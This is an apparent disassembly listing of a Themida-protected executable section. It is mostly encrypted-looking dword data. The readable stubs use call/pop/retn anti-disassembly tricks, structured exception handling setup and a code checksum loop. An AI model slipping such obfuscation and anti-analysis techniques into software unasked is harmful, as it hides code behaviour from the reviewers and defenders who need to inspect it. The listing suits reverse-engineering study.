dd 0F6DCDE4h, 68Eh, 119D0300h, 8307FA25h, 6A05C0h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0E85CB3C3h, 80BB6679h, 48950A2h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9E9D019h, 6A000000h
dd 0BE9AF175h, 16E3349Bh, 0A820Fh, 5E90000h, 0FD000000h
dd 0AE8FFB44h, 8960006Ah, 0FA2D4D9Dh, 0F19D8B07h, 6107FA23h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 7100A5C3h, 2BE995FFh, 6A07FAh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D8DE6C3h
dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0E2C35343h, 417C7D52h, 0C9BD3387h, 0FF07FA2Ah
dd 55006AD1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0E62A0C64h, 0BBDB9C9Bh, 9933707h, 0DA816660h
dd 7BB9051Fh, 612DCE82h, 33EDBD83h, 0F0107FAh, 8385h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0AE34B883h, 6ADD8A0Bh, 57006A02h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 59B350Fh, 9D8904CDh
dd 7FA317Dh, 8A90F98Bh, 299050FAh, 0FA31119Dh, 9595FF07h
dd 6A07FA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0B69FC350h, 8D29AB71h, 7FA11C9h
dd 0D42E9h, 0E800h, 815D0000h, 0FE6815EDh, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 9B64C947h, 5D1A2F4Ah, 52006A88h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 8D00B162h, 2135BD23h
dd 0EF8107FAh, 51C91DF4h, 0B959858Dh, 5E907FDh, 79000000h
dd 0E0D2A969h, 0BB665090h, 8B90866Eh, 0FA2195BDh, 35FF6407h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+7FA2EF9h], edi
mov large fs:0, esp
clc
inc dword ptr [ebp+7FA1049h]
push 0
push edx
call sub_5C9CEF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9CEF proc near ; CODE XREF: Themida_:005C9CE7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5C9CEF endp
; ---------------------------------------------------------------------------
db 0DBh
dd 8A0Fh, 0FF6A0000h, 0F1B5FFF5h, 6A07FA16h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 1C9C351h, 19A06FA1h, 0A5850133h, 0FF07FA0Ch, 0FA287595h
dd 0F2E907h, 0BD8B0000h, 7FA2139h, 8B6600B0h, 8B70E6DAh
dd 0FA0831BDh, 3C71E407h, 0D5830F61h, 80000000h, 0B60F8AD3h
dd 8B97B3C8h, 0FA0715BDh, 6BA07h, 9E80000h, 83000000h
dd 7A625EFCh, 145F26FDh, 0D4F38166h, 0C18B5B70h, 4E8C1F8h
dd 4870Fh, 0BF660000h, 0F7669BB1h, 0DE9E2h, 83E20000h
dd 9463C8C2h, 8FD6A176h, 2B8DAB53h, 89BD8BC8h, 8B07FA0Bh
dd 0B7BBBFD1h, 0B70F72E9h, 14E9FBh, 9E90000h, 6E000000h
dd 0E6B0D1Ch, 41B95016h, 2E19BD8Bh, 858B07FAh, 7FA055Dh
dd 71BEAABFh, 7C0837Bh, 8900C083h, 0FA2EA5BDh, 0FD03B07h
dd 0D83h, 0DEB70F00h, 37E9h, 0F3816600h, 8D8B00E2h, 7FA185Dh
dd 2BD19D03h, 0E18307FAh, 1D840F01h, 0F000000h, 0A583DEB7h
dd 7FA185Dh, 6E380FEh, 55D9589h, 816607FAh, 0E93517C3h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE0197h]
jmp loc_5C9E4C
; ---------------------------------------------------------------------------
db 6
db 90h
db 51h, 0A9h, 0AAh
dd 52B746C0h, 0BA2B9020h
; ---------------------------------------------------------------------------
loc_5C9E4C: ; CODE XREF: Themida_:005C9E3Aj
push 0
push 0
push eax
call sub_5C9E59
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9E59 proc near ; CODE XREF: Themida_:005C9E51p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5C9E59 endp
; ---------------------------------------------------------------------------
dec esi
test eax, 0EB817499h
sub dl, bl
lds edi, [ebx-1]
xchg eax, ebp
sbb [eax], edx
cli
pop es
pusha
mov si, 19D0h
add [ebp+7FA21A5h], ecx
popa
mov ecx, 799h
sub [ebp+7FA1495h], esi
and ecx, 0FFFFFFFCh
mov [ebp+7FA01B9h], edi
cld
sub [ebp+7FA1451h], edi
sub eax, eax
mov bx, 7A66h
mov edx, 0
push 0
push edi
call sub_5C9EB6
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9EB6 proc near ; CODE XREF: Themida_:005C9EAEp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5C9EB6 endp
; ---------------------------------------------------------------------------
mov ds:[ebp+7FA1501h], edx
jl loc_5C9EE9
jmp loc_5C9EE9
; ---------------------------------------------------------------------------
dd 0DBA75CDh, 0A72F4D29h, 4D570A3Bh, 0D988099Dh
; ---------------------------------------------------------------------------
sahf
loc_5C9EE9: ; CODE XREF: Themida_:005C9ECDj
; Themida_:005C9ED3j ...
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C9EE9
push 0
push edi
call sub_5C9F00
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9F00 proc near ; CODE XREF: Themida_:005C9EF8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5C9F00 endp
; ---------------------------------------------------------------------------
dd 0B0927657h, 8370F458h, 0BB663AC8h, 53B72CAAh, 880Dh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 459D3128h, 0E96D11A7h, 13h, 1E7A8D5Ah, 0E14228F9h
dd 4705D553h, 15AE1674h, 8BB621F8h, 0FA1CD995h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 6E8DB3Fh, 16000000h, 0C1A7F5F1h, 0E19D89C9h, 5B07FA01h
dd 31AD8D8Bh, 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0EE9h, 27868B00h, 0F518D86Bh, 0CB5798E8h
dd 6A5E7ACDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0CAE6C351h, 0DF06C15Ah, 8A0F2582h
dd 6, 0A6D9D8Bh, 0FE907FAh, 52000000h, 0C5CFE975h, 68417743h
dd 61C03B55h, 0BD839397h, 7FA2A29h, 84840F00h, 8B000000h
dd 0FA0E099Dh, 0B807h, 8D8D0000h, 7FA4F66h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h, 4527D09Bh
dd 0E8816660h, 9D33E24Dh, 7FA3159h, 6AE1FF61h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 7255C356h, 9E8h, 0CFA5D700h, 0B8AFA1C1h, 9D31DD80h
dd 7FA23A5h, 0C800F5Fh, 0F000000h, 68Fh, 1D9D8B00h, 8307FA07h
dd 0FA2BD9BDh, 840F0007h, 4D9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 40C35242h, 31F6F635h, 4D932A03h
dd 0DE881h, 515B0000h, 95A8B042h, 534581E3h, 893572B9h
dd 0FA11A19Dh, 0BD835B07h, 7FA2BD9h, 0A9840F01h, 66000004h
dd 0BD83F98Bh, 7FA2BD9h, 63860F03h, 89000004h, 0FA240D9Dh
dd 6A6007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0ABAE94C3h, 0D98C665Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0BBC35040h, 3C8876EDh, 0B19D8B5Bh
dd 0E807FA21h, 0Eh, 18588413h, 0C8902775h, 209670A1h, 9D8B98F4h
dd 7FA25FDh, 4E1805Bh, 0AD9B70Fh, 0A1840FC9h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 2902C356h, 0FA01E5B5h, 12E907h, 0F0AD0000h
dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0FE9858Bh
dd 8B6607FAh, 0E18533F8h, 6A07FA15h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B9ECC356h
dd 4A3E2865h, 41950174h, 9007FA08h, 0E9525053h, 0Fh, 0FDE05BB9h
dd 14A69284h, 73A2A999h, 0FC9E158h, 5A5B5031h, 90505B58h
dd 9C4ABB66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 3ED861C3h, 0FA590FAh, 981h, 3850F00h
dd 0F000000h, 0E568FAB7h, 5038FE73h, 0EE852h, 227A0000h
dd 45C40D17h, 0DA5571F8h, 57DB0771h, 860Fh, 0F5F0000h
dd 2820F31h, 8B000000h, 81585AFBh, 701A2434h, 0B70F38E1h
dd 12E9DAh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h, 0FE480086h
dd 526D3610h, 1CE995FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0DA48FCC3h, 0E6126DF6h
dd 219D8973h, 8907FA10h, 0FDEB9685h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D70B1730h
dd 89CFAB2h, 0BB668843h, 0FCE93488h, 6A000001h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0F1D6C353h, 6AF7BFB5h, 66F95A96h, 0AFEADB81h, 0EB8E858Bh
dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0AC9D2EC3h, 0E70B87D3h, 0C9BD892Ch, 0C707FA0Ch
dd 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0B58B5EC8h, 7FDEB92h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h, 359D8B89h
dd 8B07FA1Dh, 0FA0D5185h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0DA7B2FD1h
dd 399D8BA7h, 0BF07FA35h, 27B77E5h, 0E92DBB66h, 8E90689h
dd 47000000h, 0FA004812h, 8BB0D9C2h, 0FA0FE985h, 10E95007h
dd 43000000h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 5B39DC68h
dd 81044689h, 0ACADF8E3h, 0BB66964Ch, 0F5039CBh, 88Fh
dd 840F5600h, 0
; ---------------------------------------------------------------------------
pop ebx
xchg eax, esi
push 0
push esi
call sub_5CA419
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA419 proc near ; CODE XREF: Themida_:005CA411p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CA419 endp
; ---------------------------------------------------------------------------
db 2Dh, 11h, 1Bh
dd 643F0A33h, 0EB8EB5FFh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 0A3B3D4C3h, 0B14738AEh
dd 9E8F3h, 0E8CB0000h, 78A41F1Eh, 8BC346C4h, 6685BFBh
dd 81ACD43Bh, 0C8F92404h, 0BD03534Ah, 7FA1F29h, 0EB96858Dh
dd 0BD3107FDh, 7FA1CFDh, 90DBBF0Fh, 0BB665250h, 310F2402h
dd 585A28B7h, 13E95350h, 34000000h, 0A2986D74h, 0C3D1A80Ch
dd 0BB0D6C50h, 5FD72E09h, 905F575Fh, 0F219D89h, 95FF07FAh
dd 7FA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0E4C35646h, 0A4A134A1h, 8D8D894Ah, 6107FA20h, 6870Fh
dd 0BD290000h, 7FA1E0Dh, 0C7D9BF0Fh, 0FA2BD985h, 307h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 259D3369h, 8307FA22h, 0FDEB96BDh, 840F0007h
dd 2Eh, 177D9589h, 3EE907FAh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2A27C356h
dd 0FCEAFCCFh, 305021F7h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 558509C0h, 0BF07FA2Bh, 53B1625Eh
dd 24D58529h, 0BD8307FAh, 7FA2BD9h, 75850F03h, 51000003h
dd 835F44B3h, 0FDEB96BDh, 840F0007h, 364h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D2C35646h, 2251B501h
dd 0BF0F07FAh, 0B5FFF8DBh, 7FDEB96h, 274595FFh, 0E78107FAh
dd 1555197h, 0EB8AB58Bh, 6A07FDh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0AE67C4C3h, 0E8D98AD4h
dd 0F9DD7ECh, 6C7FABFh, 10001h, 6E960h, 0E9C40000h, 245D9E98h
dd 2C9D8D89h, 966107FAh, 0C033FBBBh, 0FB8B503Ch, 61BD8B96h
dd 8907FA00h, 0FA0FB985h, 96B5FF07h, 0FF07FDEBh, 0FA18E195h
dd 9CD78107h, 8B252688h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BAAE7559h
dd 823C8108h, 1C7D858Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0D93419C3h, 89DD8AE2h
dd 0C486h, 0AE9F800h, 9D000000h, 0B5632F1h, 6346E4A4h
dd 0D9958B7Ah, 5107FA1Ch, 4C2835Fh, 6830Fh, 0BD8B0000h
dd 7FA26B9h, 6EDBD29h, 508907FAh, 7E920h, 31460000h, 0C5539173h
dd 0F7858D8Fh, 6A07FDFEh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 88F6C356h, 21859D31h
dd 868907FAh, 0B8h, 2AD9BD33h, 6A07FAh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6DC35545h, 3656A724h
dd 9D8B0C9Bh, 7FA2611h, 0EB96B5FFh, 6A07FDh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 92E00AC3h
dd 50A0B04Ah, 6D8D8960h, 6607FA15h, 61C830BFh, 1C9595FFh
dd 952907FAh, 7FA0F99h, 546E4ABBh, 0BF665073h, 348959C7h
dd 1D9D0B24h, 0FF07FA25h, 0FDEB96B5h, 0D1958907h, 0FF07FA2Eh
dd 0FA1D9595h, 83F88B07h, 0FA0131BDh, 840F0007h, 47h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D9C35646h, 34895037h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8529F0BEh, 7FA2315h, 0FFFAB70Fh, 0FDEB96B5h
dd 6A16BB07h, 95FF5365h, 7FA1CB5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 5C35141h, 0B5FFA09Eh, 7FDEB96h
dd 0AA2CBF66h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0F4E522C3h, 0B529818Fh
dd 7FA3509h, 2221BD83h, 0F0207FAh, 8A84h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 520782E1h, 0D1AEDA10h, 858BDC8Ah, 7FA1615h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h, 0D023CB8Dh
dd 8949837Fh, 0FA2179BDh, 0FEB70F07h, 6A0000C6h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 55D5C356h, 74D98E66h, 8E9AAB0h, 7000000h, 0E773DF7Dh
dd 0C71EA544h, 0FA16DD85h, 7, 9A56BB00h, 0B5895296h, 7FA14E5h
dd 0FFF3BDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 8B866D22h, 50006AC1h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0EFC72824h, 14127BA7h, 1DBD89D5h, 8D07FA2Ah, 0FA019985h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 0B574FCA1h, 8B3A7344h, 0FA29119Dh, 0B3505007h
dd 4895BB8h, 0B1BD8924h, 6A07FA1Ch, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 7384BCC2h
dd 6A73FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 57C35242h, 73C01D25h, 9E994F6h, 52000000h, 72D56E0Fh
dd 0E97480D9h, 7780858Dh, 858907FEh, 7FA2B95h, 7AD9D89h
dd 0C08307FAh, 880F6005h, 4, 0C5C0BE66h, 14E9h, 0ED7AF200h
dd 7D1197FFh, 43AE5C79h, 0B12AE9D6h, 39A23F58h, 505061D2h
dd 1CB35652h, 0E9310F5Bh, 0Ah, 52CEC921h, 0E85AFB51h, 585ADB57h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0B423C353h, 7DFCF83Ah, 1181B509h
dd 0FB8B07FAh, 0B589006Ah, 7FA0D2Dh, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9933C0C3h
dd 7E2AD40Eh, 9DBD29CCh, 0FF07FA01h, 0FA2BE995h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0FA8AD7B3h, 0C99D8B04h, 8D07FA14h, 0FDD7118Dh, 0E0806007h
dd 8D31537Ah, 7FA17E5h, 0D1FF6159h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0DC35646h, 0BD83D15Dh, 7FA33EDh
dd 7E850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 7BBFC356h, 1499529h
dd 26A07FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0C4C35545h, 0E850B3C2h, 0Ah, 501008A3h, 0FD623393h
dd 9E81A1Eh, 0F2000000h, 2C10B401h, 0FFBF6D65h, 310F5250h
dd 5F5F585Ah, 0FF240489h, 0FA1C9595h, 6E807h, 85680000h
dd 0DA7E90EDh, 0DCAE95Bh, 0E80000h, 5D000000h, 778AED81h
dd 6A07FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 4937BAC3h, 99D33BBh, 8D07FA2Ch, 0FDB95985h
dd 1A810F07h, 0E8000000h, 0Eh, 865D991h, 0CEEB4732h, 1C1EA7DCh
dd 8B0FFBDDh, 0
dd 5250505Fh, 8B665250h, 60310FDEh, 0F585A61h, 8E931h
dd 0CC280000h, 0A917EEE3h, 585A0120h, 6A240489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0FEA9C357h, 8E298C87h, 0FF64761Ah, 35h, 259D8B00h, 6407FA35h
dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 85FF48C3h, 7FA1049h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 8184D7DDh
dd 126695CBh, 6AFF6A5Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 568EC352h, 53856EBFh
dd 51A10BF9h, 18FDB529h, 0BD8B07FAh, 7FA34D9h, 0CE9h, 0F29BF00h
dd 2CE2133Fh, 0BE4AA8DFh, 59B5FF4Bh, 8B07FA2Fh, 0FA22699Dh
dd 7595FF07h, 0E907FA28h, 122h, 1469BD8Bh, 0B007FAh, 559BD89h
dd 70E607FAh, 4BDF8166h, 6671E483h, 613CD88Bh, 100830Fh
dd 9E90000h, 0AB000000h, 7EA0DE6Ch, 1D5E76Ah, 0E8C8B60Fh
dd 7, 0E1491DA4h, 0E9B0A188h, 9, 90D5D4FFh, 2493CB6h, 6BA5F91h
dd 89000000h, 0FA013985h, 0FC18B07h, 0E8C1D8B7h, 0DCF78104h
dd 660F5416h, 3ABBE2F7h, 2B57F0D4h, 559D23C8h, 8B07FA00h
dd 666057D1h, 6D67EF81h, 5B615E57h, 6E9F88Bh, 31000000h
dd 0FA1BE99Dh, 1D858B07h, 0F07FA17h, 0C87h, 6800F00h, 89000000h
dd 0FA2BF585h, 4D852907h, 8307FA28h, 7E807C0h, 99000000h
dd 0B3E6D27Fh, 8589A9B5h, 7FA269Dh, 0C0835Bh, 10B9BD29h
dd 0D03B07FAh, 15830Fh, 8D0F0000h, 3, 0E9FA8B66h, 3Eh
dd 1D799D8Bh, 8BF907FAh, 0FA1E898Dh, 85858907h, 8307FA25h
dd 840F01E1h, 22h, 1E89A583h, 8BFE07FAh, 0FA14859Dh, 1D958907h
dd 0F07FA17h, 489h, 77BB6600h, 0E981h, 0B58D0000h, 7FE0A9Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 99C35646h
dd 0C15FB916h, 6AFE0851h, 919D8900h, 0FF07FA1Ch, 0FA101995h
dd 0B58D2907h, 0B907FA08h, 0E85h, 66CB8166h, 0FCE183E7h
dd 29BD03h, 6AFC07FAh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 1980C353h, 68A80D53h
dd 0FF4BA02h, 0C02BFAB7h, 16198D89h, 0D22B07FAh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 2C0B5EF7h
dd 555B6CD6h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 50C35646h, 0B19D8B3Ch
dd 6A07FA1Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0CC61C356h, 2AD9ECEAh, 0D5CDBC01h
dd 0FDF8B66h, 880DDFBFh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C64DC357h
dd 0B8C0FA9h, 60000000h, 8BCE8B66h, 0FA0B9D95h, 958B6107h
dd 7FA1CD9h, 68D38166h, 0AD8D8BE4h, 6A07FA31h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 7813C355h, 0BA6B39CDh, 210767A3h, 9E9h, 0C362B100h
dd 8908325Bh, 8E8B69Fh, 0E4000000h, 1812F757h, 0BF98CC4Fh
dd 1C0949D7h, 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6058188Bh, 293D9533h, 850107FAh, 7FA1119h, 29BD8361h
dd 7FA2Ah, 94840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0A9C5DDC3h, 2B61BD8Bh
dd 0B807FAh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0F822C352h, 8C4CF594h
dd 8D8D31FCh, 7FA4F66h, 13E9h, 9968E500h, 5DE451A5h, 7C37F762h
dd 8314DC3h, 493664DEh, 15859589h, 0E1FF07FAh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4BC35141h, 0F5ED6889h
dd 0BD83FFABh, 7FA2BD9h, 0F1840F00h, 6A000003h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0CEE8C357h, 2BD9BD83h, 0F0107FAh, 3E284h, 0D8BF0F00h
dd 2BD9BD83h, 0F0307FAh, 39C86h, 0FE8B5100h, 6A605Fh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 664D00C3h, 62CC781h, 2D119D89h, 8C6607FAh, 55006AD9h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 2DC2C694h, 8E0F6B4Dh, 0Fh, 0AE9h, 80261400h, 1F83157Bh
dd 89401CB3h, 0FA07BD95h, 4E18007h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 85C35646h, 0FC90A6Eh, 10984h
dd 0E9858B00h, 6A07FA0Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 533BC355h, 0EAC41C57h
dd 0E18533F4h, 8B07FA15h, 0FA0FD5BDh, 7E89007h, 91000000h
dd 0E860E99Ch, 52501E5Dh, 310F6160h, 5AD98B66h, 8B505B58h
dd 0F78190FAh, 7A13834h, 0BD89006Ah, 7FA231Dh, 4E8h, 1F03FF00h
dd 118E0F00h, 0E8000000h, 5, 23C01AAh, 820F46h, 5F000000h
dd 24448B50h, 0BE904h, 4D610000h, 958AE8F7h, 0D84B634Dh
dd 52008B78h, 2444895Fh, 9E804h, 0EE3F0000h, 8E36A33Bh
dd 5FC12069h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 6FA537E6h, 8032D924h, 95FFA8CBh
dd 7FA1CE9h, 2846E781h, 858916CDh, 7FDEB96h, 13E9h, 0B5CC400h
dd 0C807185Ah, 894D8B8Eh, 736DD12Ah, 2445480Dh, 197E9h
dd 0DBB70F00h, 8859D29h, 858B07FAh, 7FDEB8Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 0BB6648BDh
dd 0C7C4DEh, 18h, 3BC5BF66h, 0EB92B58Bh, 6A07FDh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0AAB1ACC3h, 70EF9A78h, 0E99D8BB4h, 0E807FA28h, 8, 0E58D8735h
dd 0C6D6F655h, 6890Fh, 9D0B0000h, 7FA20B9h, 51858B5Bh
dd 0F07FA0Dh, 688h, 5D8D8900h, 8907FA11h, 38C0F06h, 0F000000h
dd 858BD9BFh, 7FA0FE9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 7BC35141h, 0DD9D8B9Eh, 8907FA18h, 9D2B0446h
dd 7FA2845h, 0E519D8Bh, 0BF5007FAh, 90E8C1Ah, 0B7243489h
dd 0B59D0997h, 0FF07FA32h, 0FDEB8EB5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 703D816Bh, 0F4EC1D2h, 0D968F9BFh, 81A22372h, 91262404h
dd 6A5DFBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 19A4EEC3h, 0F380C86Fh, 96858DB3h, 8B07FDEBh
dd 0FA34AD9Dh, 8E99007h, 0EC000000h, 0C6106ED0h, 5094DAB6h
dd 5E9h, 0BC106400h, 669089F2h, 0FFC35DBBh, 0FA1CE995h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0B393D0E7h, 98C8A130h, 34BF6661h, 0D985C74Ah
dd 307FA2Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h
dd 41000000h, 0A8DCC351h, 27E99D8Bh, 0BD8307FAh, 7FDEB96h
dd 32840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0E919C355h, 2Ch, 0B830Fh
dd 8C0F0000h, 5, 7B33C9BBh, 0C30502Ch, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0F4C35545h, 6291A0B7h, 0FCD24E3h, 68Ah
dd 0A5953100h, 2907FA2Dh, 0FA18B99Dh, 0D9BD8307h, 307FA2Bh
